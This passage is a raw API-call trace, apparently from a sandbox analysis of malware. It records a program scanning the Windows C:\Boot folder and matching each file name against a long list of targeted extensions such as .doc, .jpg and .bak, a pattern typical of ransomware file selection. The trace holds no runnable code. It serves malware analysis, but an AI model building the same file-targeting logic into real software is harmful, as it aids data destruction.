lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1 [0175.369] lstrlenW (lpString=".cfu") returned 4 [0175.369] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".chm") returned 4 [0175.369] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".cin") returned 4 [0175.369] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".class") returned 6 [0175.370] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1 [0175.370] lstrlenW (lpString=".clx") returned 4 [0175.370] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".config") returned 7 [0175.370] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1 [0175.370] lstrlenW (lpString=".cpp") returned 4 [0175.370] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".cr2") returned 4 [0175.370] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".crt") returned 4 [0175.370] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".crw") returned 4 [0175.370] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".cs") returned 3 [0175.370] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1 [0175.370] lstrlenW (lpString=".css") returned 4 [0175.370] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".csv") returned 4 [0175.370] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".cub") returned 4 [0175.370] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".dae") returned 4 [0175.370] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".dat") returned 4 [0175.370] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".db") returned 3 [0175.370] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1 [0175.370] lstrlenW (lpString=".dbf") returned 4 [0175.370] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".dbx") returned 4 [0175.370] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1 [0175.370] lstrlenW (lpString=".dc3") returned 4 [0175.370] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dcm") returned 4 [0175.371] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dcr") returned 4 [0175.371] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".der") returned 4 [0175.371] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dib") returned 4 [0175.371] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dic") returned 4 [0175.371] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dif") returned 4 [0175.371] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".divx") returned 5 [0175.371] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".djvu") returned 5 [0175.371] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".dng") returned 4 [0175.371] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".doc") returned 4 [0175.371] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".docm") returned 5 [0175.371] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".docx") returned 5 [0175.371] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".dot") returned 4 [0175.371] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dotm") returned 5 [0175.371] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".dotx") returned 5 [0175.371] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1 [0175.371] lstrlenW (lpString=".dpx") returned 4 [0175.371] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dqy") returned 4 [0175.371] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1 [0175.371] lstrlenW (lpString=".dsn") returned 4 [0175.372] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".dt") returned 3 [0175.372] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1 [0175.372] lstrlenW (lpString=".dtd") returned 4 [0175.372] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".dwg") returned 4 [0175.372] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".dwt") returned 4 [0175.372] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".dx") returned 3 [0175.372] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1 [0175.372] lstrlenW (lpString=".dxf") returned 4 [0175.372] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".edml") returned 5 [0175.372] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1 [0175.372] lstrlenW (lpString=".efd") returned 4 [0175.372] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".elf") returned 4 [0175.372] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".emf") returned 4 [0175.372] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".emz") returned 4 [0175.372] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".epf") returned 4 [0175.372] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".eps") returned 4 [0175.372] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".epsf") returned 5 [0175.372] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1 [0175.372] lstrlenW (lpString=".epsp") returned 5 [0175.372] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1 [0175.372] lstrlenW (lpString=".erf") returned 4 [0175.372] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1 [0175.372] lstrlenW (lpString=".exr") returned 4 [0175.372] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".f4v") returned 4 [0175.373] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".fido") returned 5 [0175.373] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1 [0175.373] lstrlenW (lpString=".flm") returned 4 [0175.373] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".flv") returned 4 [0175.373] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".frm") returned 4 [0175.373] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".fxg") returned 4 [0175.373] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".geo") returned 4 [0175.373] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".gif") returned 4 [0175.373] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".grs") returned 4 [0175.373] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".gz") returned 3 [0175.373] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1 [0175.373] lstrlenW (lpString=".h") returned 2 [0175.373] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1 [0175.373] lstrlenW (lpString=".hdr") returned 4 [0175.373] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".hpp") returned 4 [0175.373] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".hta") returned 4 [0175.373] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".htc") returned 4 [0175.373] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".htm") returned 4 [0175.373] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1 [0175.373] lstrlenW (lpString=".html") returned 5 [0175.373] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1 [0175.374] lstrlenW (lpString=".icb") returned 4 [0175.374] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".ics") returned 4 [0175.374] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".iff") returned 4 [0175.374] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".inc") returned 4 [0175.374] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".indd") returned 5 [0175.374] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1 [0175.374] lstrlenW (lpString=".ini") returned 4 [0175.374] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".iqy") returned 4 [0175.374] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".j2c") returned 4 [0175.374] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".j2k") returned 4 [0175.374] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".java") returned 5 [0175.374] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1 [0175.374] lstrlenW (lpString=".jp2") returned 4 [0175.374] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".jpc") returned 4 [0175.374] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".jpe") returned 4 [0175.374] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1 [0175.374] lstrlenW (lpString=".jpeg") returned 5 [0175.374] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1 [0175.374] lstrlenW (lpString=".jpf") returned 4 [0175.376] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".jpg") returned 4 [0175.376] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".jpx") returned 4 [0175.376] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".js") returned 3 [0175.376] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1 [0175.376] lstrlenW (lpString=".jsf") returned 4 [0175.376] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".json") returned 5 [0175.376] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1 [0175.376] lstrlenW (lpString=".jsp") returned 4 [0175.376] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".kdc") returned 4 [0175.376] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1 [0175.376] lstrlenW (lpString=".kmz") returned 4 [0175.377] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1 [0175.377] lstrlenW (lpString=".kwm") returned 4 [0175.377] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1 [0175.377] lstrlenW (lpString=".lasso") returned 6 [0175.377] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1 [0175.377] lstrlenW (lpString=".lbi") returned 4 [0175.377] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1 [0175.377] lstrlenW (lpString=".lgf") returned 4 [0175.377] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1 [0175.377] lstrlenW (lpString=".lgp") returned 4 [0175.377] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1 [0175.377] lstrlenW (lpString=".log") returned 4 [0175.377] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0 [0175.377] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0175.377] lstrlenW (lpString="BCD.LOG1") returned 8 [0175.377] lstrlenW (lpString=".1cd") returned 4 [0175.377] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0175.377] lstrlenW (lpString=".3ds") returned 4 [0175.377] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0175.377] lstrlenW (lpString=".3fr") returned 4 [0175.377] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0175.377] lstrlenW (lpString=".3g2") returned 4 [0175.377] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0175.377] lstrlenW (lpString=".3gp") returned 4 [0175.377] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0175.377] lstrlenW (lpString=".7z") returned 3 [0175.377] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0175.377] lstrlenW (lpString=".accda") returned 6 [0175.377] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0175.377] lstrlenW (lpString=".accdb") returned 6 [0175.377] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0175.377] lstrlenW (lpString=".accdc") returned 6 [0175.377] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0175.378] lstrlenW (lpString=".accde") returned 6 [0175.378] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0175.378] lstrlenW (lpString=".accdt") returned 6 [0175.378] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0175.378] lstrlenW (lpString=".accdw") returned 6 [0175.378] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0175.378] lstrlenW (lpString=".adb") returned 4 [0175.378] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".adp") returned 4 [0175.378] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai") returned 3 [0175.378] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0175.378] lstrlenW (lpString=".ai3") returned 4 [0175.378] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai4") returned 4 [0175.378] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai5") returned 4 [0175.378] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai6") returned 4 [0175.378] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai7") returned 4 [0175.378] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".ai8") returned 4 [0175.378] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".anim") returned 5 [0175.378] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0175.378] lstrlenW (lpString=".arw") returned 4 [0175.378] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".as") returned 3 [0175.378] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0175.378] lstrlenW (lpString=".asa") returned 4 [0175.378] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0175.378] lstrlenW (lpString=".asc") returned 4 [0175.378] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".ascx") returned 5 [0175.379] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0175.379] lstrlenW (lpString=".asm") returned 4 [0175.379] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".asmx") returned 5 [0175.379] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0175.379] lstrlenW (lpString=".asp") returned 4 [0175.379] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".aspx") returned 5 [0175.379] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0175.379] lstrlenW (lpString=".asr") returned 4 [0175.379] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".asx") returned 4 [0175.379] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".avi") returned 4 [0175.379] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".avs") returned 4 [0175.379] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".backup") returned 7 [0175.379] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0175.379] lstrlenW (lpString=".bak") returned 4 [0175.379] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".bay") returned 4 [0175.379] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".bd") returned 3 [0175.379] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0175.379] lstrlenW (lpString=".bin") returned 4 [0175.379] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".bmp") returned 4 [0175.379] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".bz2") returned 4 [0175.379] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0175.379] lstrlenW (lpString=".c") returned 2 [0175.379] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0175.379] lstrlenW (lpString=".cdr") returned 4 [0175.380] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cer") returned 4 [0175.380] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cf") returned 3 [0175.380] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0175.380] lstrlenW (lpString=".cfc") returned 4 [0175.380] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cfm") returned 4 [0175.380] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cfml") returned 5 [0175.380] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0175.380] lstrlenW (lpString=".cfu") returned 4 [0175.380] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".chm") returned 4 [0175.380] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cin") returned 4 [0175.380] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".class") returned 6 [0175.380] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0175.380] lstrlenW (lpString=".clx") returned 4 [0175.380] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".config") returned 7 [0175.380] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0175.380] lstrlenW (lpString=".cpp") returned 4 [0175.380] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cr2") returned 4 [0175.380] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".crt") returned 4 [0175.380] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".crw") returned 4 [0175.380] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0175.380] lstrlenW (lpString=".cs") returned 3 [0175.380] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0175.380] lstrlenW (lpString=".css") returned 4 [0175.380] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".csv") returned 4 [0175.381] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".cub") returned 4 [0175.381] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dae") returned 4 [0175.381] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dat") returned 4 [0175.381] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".db") returned 3 [0175.381] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0175.381] lstrlenW (lpString=".dbf") returned 4 [0175.381] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dbx") returned 4 [0175.381] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dc3") returned 4 [0175.381] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dcm") returned 4 [0175.381] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dcr") returned 4 [0175.381] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".der") returned 4 [0175.381] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dib") returned 4 [0175.381] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dic") returned 4 [0175.381] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".dif") returned 4 [0175.381] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0175.381] lstrlenW (lpString=".divx") returned 5 [0175.381] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0175.381] lstrlenW (lpString=".djvu") returned 5 [0175.381] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0175.381] lstrlenW (lpString=".dng") returned 4 [0175.382] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".doc") returned 4 [0175.382] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".docm") returned 5 [0175.382] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0175.382] lstrlenW (lpString=".docx") returned 5 [0175.382] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0175.382] lstrlenW (lpString=".dot") returned 4 [0175.382] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dotm") returned 5 [0175.382] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0175.382] lstrlenW (lpString=".dotx") returned 5 [0175.382] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0175.382] lstrlenW (lpString=".dpx") returned 4 [0175.382] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dqy") returned 4 [0175.382] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dsn") returned 4 [0175.382] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dt") returned 3 [0175.382] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0175.382] lstrlenW (lpString=".dtd") returned 4 [0175.382] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dwg") returned 4 [0175.382] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dwt") returned 4 [0175.382] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".dx") returned 3 [0175.382] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0175.382] lstrlenW (lpString=".dxf") returned 4 [0175.382] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0175.382] lstrlenW (lpString=".edml") returned 5 [0175.382] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0175.382] lstrlenW (lpString=".efd") returned 4 [0175.383] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0175.383] lstrlenW (lpString=".elf") returned 4 [0175.383] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0175.383] lstrlenW (lpString=".emf") returned 4 [0175.383] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0175.383] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0175.383] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0175.383] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.383] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420fa0 [0175.383] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.383] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, 